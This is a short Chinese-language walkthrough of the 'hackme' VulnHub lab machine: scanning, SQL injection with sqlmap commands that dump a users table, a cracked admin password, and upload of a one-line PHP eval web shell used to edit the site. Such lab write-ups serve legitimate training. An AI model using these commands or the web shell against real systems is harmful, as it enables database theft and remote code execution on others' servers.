hackerme-靶机渗透

hackerme-靶机渗透

一、下载安装靶场

https://download.vulnhub.com/hackme/hackme.ova

靶场搭建

下载好双击写好文件名路径

二、信息收集

1.打开虚拟机进行端口扫描

首先查看ip段然后扫描该虚拟机的IP是哪个

2.登录靶场网站首页

3.注册登录

密码6位以上

单机search有很多书

三、SQL注入

1.判断是否有SQL注入

POST请求方式所以抓包

2.判断出注入点和闭合方式

3.用sqlmap注入，将数据包保存在1.txt中

4.查询数据库

python3 sqlmap.py -r C:\Users\1\Desktop\1.txt --current-db --batch

5.查表

python3 sqlmap.py -r C:\Users\1\Desktop\1.txt --batch -D webapphacking --tables

6.查users表中数据

python3 sqlmap.py -r C:\Users\1\Desktop\1.txt --batch -D webapphacking -T users --dump

7.查出用户表数据，用superadmin登录网站密码要MD5解密：Uncrackable

三、上传木马

1.上传一句话木马

<?php @eval ($_POST['cmd']); ?>

上面显示上传到uploads文件夹里

蚁剑连接

修改网站login.php代码给他加个标题